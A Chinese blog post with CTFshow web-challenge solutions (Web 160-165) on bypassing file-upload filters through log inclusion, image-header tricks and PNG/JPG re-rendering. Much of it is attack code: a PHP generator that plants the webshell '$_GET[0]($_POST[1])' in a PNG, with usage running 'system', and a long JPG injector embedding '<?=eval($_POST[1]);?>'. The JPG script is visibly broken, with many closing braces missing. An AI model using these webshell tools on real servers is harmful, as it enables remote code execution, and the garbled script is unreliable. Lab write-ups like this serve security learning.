网络安全最全CTFshow web入门——文件上传_ctfshow文件上传(1)

2401_84301853 2024-07-31 11:03:01 阅读 92

解题思路：

<code>日志包含

过滤关键字是log

所以用拼接绕过

上传完.user.ini和图片后

访问网站然后修改ua头信息

在这里插入图片描述

Web 161

在160的基础上增加图片头即可，即 <code>GIF89A

Web 162-163

目前了解有三种解法

一种是session包含，一个是远程文件包含，还有一种是data伪协议，不过要把伪协议代码用取反表示

伪协议

条件竞争-脚本

条件竞争-burpsuit

但是这几种方法我都没有出结果，悲伤…

Web 164

考点： png二次渲染

利用下方代码进行png二次渲染绕过

<?php

$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,

0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,

0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,

0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,

0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,

0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,

0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,

0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {

$r = $p[$y];

$g = $p[$y+1];

$b = $p[$y+2];

$color = imagecolorallocate($img, $r, $g, $b);

imagesetpixel($img, round($y / 3), 0, $color);

}

imagepng($img,'1.png'); #保存在本地的图片马

?>

木马内容

<?$\_GET[0]($\_POST[1]);?>

imagepng($img,'1.png');

要修改的图片的路径,1.png是使用的文件，可以不存在

会在目录下自动创建一个1.png图片

图片脚本内容：

$\_GET[0]($\_POST[1]);

使用方法：

例子：查看图片，get传入0=system；post传入tac flag.php

注：

运行上面的代码需要有php的gd库

下面的代码可以检测是否有gd库的存在

<?php

if(extension\_loaded('gd')) {

echo '可以使用gd

';

foreach(gd\_info() as $cate=>$value)

echo "$cate: $value

";

}else

echo '没有安装gd扩展';

?>

如没有

把你PHP目录下的ext文件夹里的php_gd.dll复制到系统目录下(C:\Windows\System32),然后修改你的php.ini文件,找到以下位置

;extension=php_gd.dll

把前面的;去掉

如php.ini中没有extension=php_gd.dll，自行添加即可

将生成的图片上传，bp抓包

在这里插入图片描述

Web 165

考点：jpg二次渲染

运用以下脚本进行<code>jpg二次渲染绕过

<?php

$miniPayload = '<?=eval($\_POST[1]);?>';

if(!extension\_loaded('gd') || !function\_exists('imagecreatefromjpeg')) {

die('php-gd is not installed');

}

if(!isset($argv[1])) {

die('php jpg\_payload.php <jpg\_name.jpg>');

}

set\_error\_handler("custom\_error\_handler");

for($pad = 0; $pad < 1024; $pad++) {

$nullbytePayloadSize = $pad;

$dis = new DataInputStream($argv[1]);

$outStream = file\_get\_contents($argv[1]);

$extraBytes = 0;

$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {

die('Incorrect SOI marker');

}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {

$marker = $dis->readByte();

$size = $dis->readShort() - 2;

$dis->skip($size);

if($marker === 0xDA) {

$startPos = $dis->seek();

$outStreamTmp =

substr($outStream, 0, $startPos) .

$miniPayload .

str\_repeat("\0",$nullbytePayloadSize) .

substr($outStream, $startPos);

checkImage('\_'.$argv[1], $outStreamTmp, TRUE);

if($extraBytes !== 0) {

while((!$dis->eof())) {

if($dis->readByte() === 0xFF) {

if($dis->readByte !== 0x00) {

break;

}

$stopPos = $dis->seek() - 2;

$imageStreamSize = $stopPos - $startPos;

$outStream =

substr($outStream, 0, $startPos) .

$miniPayload .

substr(

str\_repeat("\0",$nullbytePayloadSize).

substr($outStream, $startPos, $imageStreamSize),

0,

$nullbytePayloadSize+$imageStreamSize-$extraBytes) .

substr($outStream, $stopPos);

} elseif($correctImage) {

$outStream = $outStreamTmp;

} else {

break;

}

if(checkImage('payload\_'.$argv[1], $outStream)) {

die('Success!');

} else {

break;

}

unlink('payload\_'.$argv[1]);

die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {

global $correctImage;

file\_put\_contents($filename, $data);

$correctImage = TRUE;

imagecreatefromjpeg($filename);

if($unlink)

unlink($filename);

return $correctImage;

}

function custom\_error\_handler($errno, $errstr, $errfile, $errline) {

global $extraBytes, $correctImage;

$correctImage = FALSE;

if(preg\_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {

if(isset($m[1])) {

$extraBytes = (int)$m[1];

}

class DataInputStream {

private $binData;

private $order;

private $size;

public function \_\_construct($filename, $order = false, $fromString = false) {

$this->binData = '';

$this->order = $order;

if(!$fromString) {

if(!file\_exists($filename) || !is\_file($filename))

die('File not exists ['.$filename.']');

$this->binData = file\_get\_contents($filename);

} else {

$this->binData = $filename;

}

$this->size = strlen($this->binData);

}

public function seek() {

return ($this->size - strlen($this->binData));

}

public function skip($skip)

{

$this->binData = substr($this->binData, $skip);

}

public function readByte() {

if($this->eof()) {

die('End Of File');

}

$byte = substr($this->binData, 0, 1);

$this->binData = substr($this->binData, 1);

return ord($byte);

}

public function readShort() {

if(strlen($this->binData) < 2) {

die('End Of File');

}

$short = substr($this->binData, 0, 2);

$this->binData = substr($this->binData, 2);

if($this->order) {

$short = (ord($short[1]) << 8) + ord($short[0]);

} else {

$short = (ord($short[0]) << 8) + ord($short[1]);

}

return $short;

}

public function eof() {

return !$this->binData||(strlen($this->binData) === 0);

}

?>

先上传一张jpg图片然后下载到本地重命名为2.jpg，再用jpg脚本生成payload_2.jpg

在这里插入图片描述

a为文件名

<code>php jpg二次渲染.php a.jpg

在上传payload_2.jpg，抓包

在这里插入图片描述

注：

jpg脚本需在<code>linux环境下运行,我的系统为ubuntu

安装php

sudo apt-get install php

发现报错，需要重新寻找更新源

在这里插入图片描述

解决方法如下：

<code>sudo vim sources.list

deb http://mirrors.aliyun.com/ubuntu/ raring main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ raring-security main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ raring-updates main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ raring-proposed main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ raring-backports main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ raring main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ raring-security main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ raring-updates main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ raring-proposed main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ raring-backports main restricted universe multiverse

sudo apt-get update

sudo apt-get install php

jpg脚本需要php-gd库，下面为下载流程

sudo apt-cache search php-gd（查询需要的php-gd版本）

sudo apt-get install php7.4-gd

sudo php -m（查看gd是否安装成功）